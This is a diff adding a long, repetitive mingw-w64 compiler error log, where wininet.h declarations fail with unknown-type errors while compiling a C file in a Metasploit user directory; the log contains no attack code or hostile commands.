RetrieveUrlCacheEntryStreamA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1426:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1427:3: error: unknown type name ‘EXTERN_C’ + 1427 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1427:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1427 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1427:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1428:3: error: unknown type name ‘EXTERN_C’ + 1428 | BOOLAPI ReadUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD dwLocation,LPVOID lpBuffer,LPDWORD lpdwLen,DWORD Reserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1428:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1428 | BOOLAPI ReadUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD dwLocation,LPVOID lpBuffer,LPDWORD lpdwLen,DWORD Reserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1428:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1429:3: error: unknown type name ‘EXTERN_C’ + 1429 | BOOLAPI UnlockUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD Reserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1429:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1429 | BOOLAPI UnlockUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD Reserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1429:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1430:3: error: unknown type name ‘EXTERN_C’ + 1430 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1430:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1430 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1430:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1431:3: error: unknown type name ‘EXTERN_C’ + 1431 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1431:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1431 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1431:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1432:3: error: unknown type name ‘EXTERN_C’ + 1432 | URLCACHEAPI_(HANDLE) FindFirstUrlCacheGroup(DWORD dwFlags,DWORD dwFilter,LPVOID lpSearchCondition,DWORD dwSearchCondition,GROUPID *lpGroupId,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1432:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1432 | URLCACHEAPI_(HANDLE) FindFirstUrlCacheGroup(DWORD dwFlags,DWORD dwFilter,LPVOID lpSearchCondition,DWORD dwSearchCondition,GROUPID *lpGroupId,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1432:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1433:3: error: unknown type name ‘EXTERN_C’ + 1433 | URLCACHEAPI_(WINBOOL) FindNextUrlCacheGroup(HANDLE hFind,GROUPID *lpGroupId,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1433:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1433 | URLCACHEAPI_(WINBOOL) FindNextUrlCacheGroup(HANDLE hFind,GROUPID *lpGroupId,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1433:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1434:3: error: unknown type name ‘EXTERN_C’ + 1434 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1434:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1434 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1434:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1435:3: error: unknown type name ‘EXTERN_C’ + 1435 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1435:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1435 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1435:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1436:3: error: unknown type name ‘EXTERN_C’ + 1436 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1436:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1436 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1436:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1437:3: error: unknown type name ‘EXTERN_C’ + 1437 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1437:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1437 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1437:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1438:3: error: unknown type name ‘EXTERN_C’ + 1438 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1438:3: error: expected ‘;’ before ‘GROUPID’ + 1438 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1438:25: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘CreateUrlCacheGroup’ + 1438 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1439:3: error: unknown type name ‘EXTERN_C’ + 1439 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1439:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1439 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1439:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1440:3: error: unknown type name ‘EXTERN_C’ + 1440 | BOOLAPI GetUrlCacheEntryInfoExA(LPCSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1440:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1440 | BOOLAPI GetUrlCacheEntryInfoExA(LPCSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1440:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1441:3: error: unknown type name ‘EXTERN_C’ + 1441 | BOOLAPI GetUrlCacheEntryInfoExW(LPCWSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPWSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1441:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1441 | BOOLAPI GetUrlCacheEntryInfoExW(LPCWSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPWSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1441:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1464:3: error: unknown type name ‘EXTERN_C’ + 1464 | BOOLAPI SetUrlCacheEntryGroup(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1464:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1464 | BOOLAPI SetUrlCacheEntryGroup(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1464:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1465:3: error: unknown type name ‘EXTERN_C’ + 1465 | BOOLAPI DeleteUrlCacheEntry(LPCSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1465:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1465 | BOOLAPI DeleteUrlCacheEntry(LPCSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1465:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1466:3: error: unknown type name ‘EXTERN_C’ + 1466 | INTERNETAPI_(DWORD) InternetDial(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,LPDWORD lpdwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1466:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1466 | INTERNETAPI_(DWORD) InternetDial(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,LPDWORD lpdwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1466:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1467:3: error: unknown type name ‘EXTERN_C’ + 1467 | INTERNETAPI_(WINBOOL) InternetGoOnline(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1467:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1467 | INTERNETAPI_(WINBOOL) InternetGoOnline(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1467:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1470:3: error: unknown type name ‘EXTERN_C’ + 1470 | BOOLAPI SetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,DWORD dwFieldControl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1470:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1470 | BOOLAPI SetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,DWORD dwFieldControl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1470:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1471:3: error: unknown type name ‘EXTERN_C’ + 1471 | BOOLAPI SetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,DWORD dwFieldControl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1471:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1471 | BOOLAPI SetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,DWORD dwFieldControl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1471:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1472:3: error: unknown type name ‘EXTERN_C’ + 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1472:3: error: expected ‘;’ before ‘GROUPID’ + 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1472:25: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘CreateUrlCacheGroup’ + 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1473:3: error: unknown type name ‘EXTERN_C’ + 1473 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1473:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1473 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1473:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1478:3: error: unknown type name ‘EXTERN_C’ + 1478 | BOOLAPI SetUrlCacheEntryGroupA(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1478:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1478 | BOOLAPI SetUrlCacheEntryGroupA(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1478:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1479:3: error: unknown type name ‘EXTERN_C’ + 1479 | BOOLAPI SetUrlCacheEntryGroupW(LPCWSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1479:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1479 | BOOLAPI SetUrlCacheEntryGroupW(LPCWSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1479:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1480:3: error: unknown type name ‘EXTERN_C’ + 1480 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExA(LPCSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1480:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1480 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExA(LPCSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1480:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1481:3: error: unknown type name ‘EXTERN_C’ + 1481 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExW(LPCWSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1481:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1481 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExW(LPCWSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1481:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1482:3: error: unknown type name ‘EXTERN_C’ + 1482 | BOOLAPI FindNextUrlCacheEntryExA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1482:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1482 | BOOLAPI FindNextUrlCacheEntryExA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1482:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1483:3: error: unknown type name ‘EXTERN_C’ + 1483 | BOOLAPI FindNextUrlCacheEntryExW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1483:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1483 | BOOLAPI FindNextUrlCacheEntryExW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1483:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1484:3: error: unknown type name ‘EXTERN_C’ + 1484 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryA(LPCSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1484:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1484 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryA(LPCSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1484:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1485:3: error: unknown type name ‘EXTERN_C’ + 1485 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryW(LPCWSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1485:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1485 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryW(LPCWSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1485:3: error: unknown type name ‘HANDLE’ +/usr/share/mingw-w64/include/wininet.h:1486:3: error: unknown type name ‘EXTERN_C’ + 1486 | BOOLAPI FindNextUrlCacheEntryA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1486:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1486 | BOOLAPI FindNextUrlCacheEntryA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1486:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1487:3: error: unknown type name ‘EXTERN_C’ + 1487 | BOOLAPI FindNextUrlCacheEntryW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1487:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1487 | BOOLAPI FindNextUrlCacheEntryW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1487:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1488:3: error: unknown type name ‘EXTERN_C’ + 1488 | BOOLAPI FindCloseUrlCache(HANDLE hEnumHandle); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1488:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1488 | BOOLAPI FindCloseUrlCache(HANDLE hEnumHandle); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1488:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1489:3: error: unknown type name ‘EXTERN_C’ + 1489 | BOOLAPI DeleteUrlCacheEntryA(LPCSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1489:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1489 | BOOLAPI DeleteUrlCacheEntryA(LPCSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1489:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1490:3: error: unknown type name ‘EXTERN_C’ + 1490 | BOOLAPI DeleteUrlCacheEntryW(LPCWSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1490:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1490 | BOOLAPI DeleteUrlCacheEntryW(LPCWSTR lpszUrlName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1490:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1491:3: error: unknown type name ‘EXTERN_C’ + 1491 | INTERNETAPI_(DWORD) InternetDialA(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1491:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1491 | INTERNETAPI_(DWORD) InternetDialA(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); + | 